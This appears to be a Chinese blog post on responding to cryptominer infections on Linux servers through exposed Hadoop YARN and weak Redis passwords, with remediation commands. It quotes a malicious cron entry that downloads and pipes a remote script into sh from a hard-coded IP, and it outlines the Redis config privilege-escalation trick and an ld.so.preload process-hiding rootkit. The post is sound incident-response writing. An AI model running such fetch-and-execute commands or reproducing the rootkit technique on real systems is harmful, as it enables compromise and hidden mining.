常在河邊走,哪能不溼鞋?
這不,昨天在朋友技術羣裏又見到了挖礦被中毒的場景......
猛然間想起自己幫媳婦兒公司處理過hadoop管理平臺yarn弱口令漏洞被利用,
從而成爲挖礦者俘虜的往事。
以前案例現象:
訪問yarn:8088頁面發現一直有任務在跑如圖:
用戶爲dr.who,問下內部使用人員,都沒有任務在跑;
結論:
服務器被中毒了,者利用Hadoop Yarn資源管理系統REST API未授權漏洞對服務器進行,***者可以在未授權的情況下遠程執行代碼的安全問題進行預警。
用top命令發現cpu使用了360%多,系統會很卡。
解決辦法:
1,通過查看佔用cpu高得進程,kill掉此進程
2,檢查/tmp和/var/tmp目錄,刪除java、ppc、w.conf等異常文件
3 ,通過crontab -l 查看有一個 * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1任務,刪除此任務
4,排查YARN日誌,確認異常的application,刪除處理
再通過top驗證看是否還有高cpu進程,如果有,kill掉,沒有的話應該正常了。
注意:YARN提供有默認開放在8088和8090的REST API(默認前者)允許用戶直接通過API進行相關的應用創建、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何則就均可利用其進行遠程命令執行,從而進行挖礦等行爲,直接利用開放在8088的REST API提交執行命令,來實現在服務器內下載執行.sh腳本,從而再進一步下載啓動挖礦程序達到挖礦的目的,因此注意並啓用Kerberos認證功能,禁止匿名訪問修改8088端口
於是,自告奮勇,以爲還是類似的情景。
技技術羣對話~~
加密的腳本內容:
解密後腳本節選:
於是忍不住了,
問了下自己遠程連接操刀
刪除了幾番試試,
按照腳本反其道而行之,
結果還是殺不乾淨.top能看到cpu 100%爆滿.
就是看不清是那個程序佔用.?
由於網絡延時,沒截圖。
於是想肯定是top被替換了,
繼續看了一下腳本,
原來是一張圖片內嵌至僞造的同名庫文件裏,
同時庫文件調用了下載程序的執行腳本,
top一下程序自動運行,並且子孫無窮盡。
(腳本是解密後放在自己服務器截的圖)
本想幹掉這個top的庫文件,
但由於命名的誘惑性,
外加上殺不乾淨的程序,
當執行rm -rf時,
也明顯感受到對方朋友的緊張。
於是瞭解業務後,
發現機器影響的業務並不嚴重.
也快下班了,於是不想再折騰了。
仔細再次溜了一遍腳本,
想再裝系統之前和對方朋友漲漲姿勢的,
但感覺到對方朋友
其實並不是樂意於徹底學習這個問題,
於是建議其重裝。
事後,坐地鐵總結了一下。
常見的挖礦中毒程序處理方式
處理過程的思路和建議方法。
1.服務器怎麼會中挖礦***程序
肉雞 弱口令 webshell xss 軟件漏洞bug redis zk mysql 0day yarn等造成服務器被掃描並且提權。
2 首先遇到這樣情況,我們殺掉挖礦的程序它會自己起來
沒清理乾淨 定時任務 命令修改 開機自啓動文件 歷史記錄
3.如何處理?
首先根據業務判定,造成業務故障,可選用HA方案切走應用服務,對服務器進行下架切斷一切網絡來源,進行相關處理。
當然一般處理方案是這樣,首先通過iptables或者firewalls防火牆手段封死***者地址,類似與切斷網絡來源,接下來我們就可以進行分析和處理挖礦的原因。
處理的方式 可以根據挖礦腳本進行分析 一個一個進行處理 對修改的命令和文件進行恢復和刪除 。
後期對系統和web進行安全測試,對系統漏洞進行修復.
Linux後門入 侵檢測工具chkrootkit、RKHunter等的巡檢。
系統文件MD5值的對比。其實安全最大的因素是人。
當然監控也非常重要。
4.此次原因分析
Redis存在弱口令導致的此次故障問題,Redis可以通過config配置方式 修改配置目錄將自己的key放在服務器上,以達到服務器提權的目的。
Redis 未授權訪問缺陷可輕易導致系統被黑:
https://www.seebug.org/vuldb/ssvid-89715
筆者建議出現類似事故後處理的命令:
查看哪個進程佔據cup
通過 top 或者使用 ps aux
這個案例通過top 命令看不到哪個進程佔用了cup ,查看腳本後執行 cat /etc/ld.so.preload 裏面也加載了異常的文件,判斷是用於隱藏進程用的, 建議將其內容註釋掉或刪除,執行ldconfig 然後再使用top 查看下進程;
!
疑點:
腳本里面圖片在瀏覽器能打開,本地打不開.懷疑是隱寫術(微信後臺傳不來)
本地打不開,隱寫工具也打不開。
使用 ls -lt /etc | head 查看最近變動的文件目錄
或者使用 find 命令加參數 stat 查找最近修改過的文件
當然如果是細心一些的,還是會修改掉文件change時間點的.
查找進程文件刪除,執行其中任意 1 條命令即可
ps -ef | grep shutdown [命令]
ps aux | grep /bin/bash [命令路徑]
ps aux | grep bash [命令]
lsof -p PID
cd /proc/4170 [pid]
找出系統中所有的殭屍進程
ps aux | grep 'defunct'
或
ps -ef | grep defunct | grep -v grep | wc -l
清理殭屍進程
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'
查找系統中的定時任務
crontab -l
或者
cd /var/spool/cron #查看這個文件夾下的文件刪除
vim /etc/crontab
裏面會有一個定時任務並且一般刪不掉。 瀏覽器打開網址是個腳本,通過base64 加密,解密即可看到腳本內容。
還要注意隨機啓動腳本.
根據腳本刪除腳本創建的文件,我這裏期望刪除的是
/usr/local/lib/dns.so ,/etc/ld.so.preload
查看系統登錄日誌
日誌文件 /var/log/wtmp ,系統的每一次登錄,都會在此日誌中添加記錄,爲了防止有人篡改,該文件爲二進制文件
cd /var/log ; last 或者 last -f /var/log/wtmp
當然這個案例裏面日誌都是被清掉的.
刪除歷史操作命令,防止***進入查看你做了哪些操作
history 命令來查看歷史命令
history -c 是清除當前shell的歷史紀錄,因爲系統一般會把信息保存在一個文件中,只要文件中內容沒有改變,那麼信息也不會變。linux中存放歷史命令的文件是.bash_history,清空該文件(echo ‘’ > /root/.bash_history),那些歷史命令就會被清空了。
如果是在shell腳本中調用 history -c 清空當前shell的歷史命令,是不會成功的,因爲bash執行命令時默認是會產生一個子進程來執行該命令,在子進程中執行 history -c 不是清除你當前shell的歷史命令了。
可以使用source來執行腳本(source ./腳本),source 指在當前bash環境下執行命令。
關閉不需要的端口
屏蔽訪問腳本中的域名 ip,關閉訪問挖礦服務器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
如果安裝了redis ,修改redis 端口,設置複雜高一些密碼 。
大佬們看完多多留言指教。
就此別過!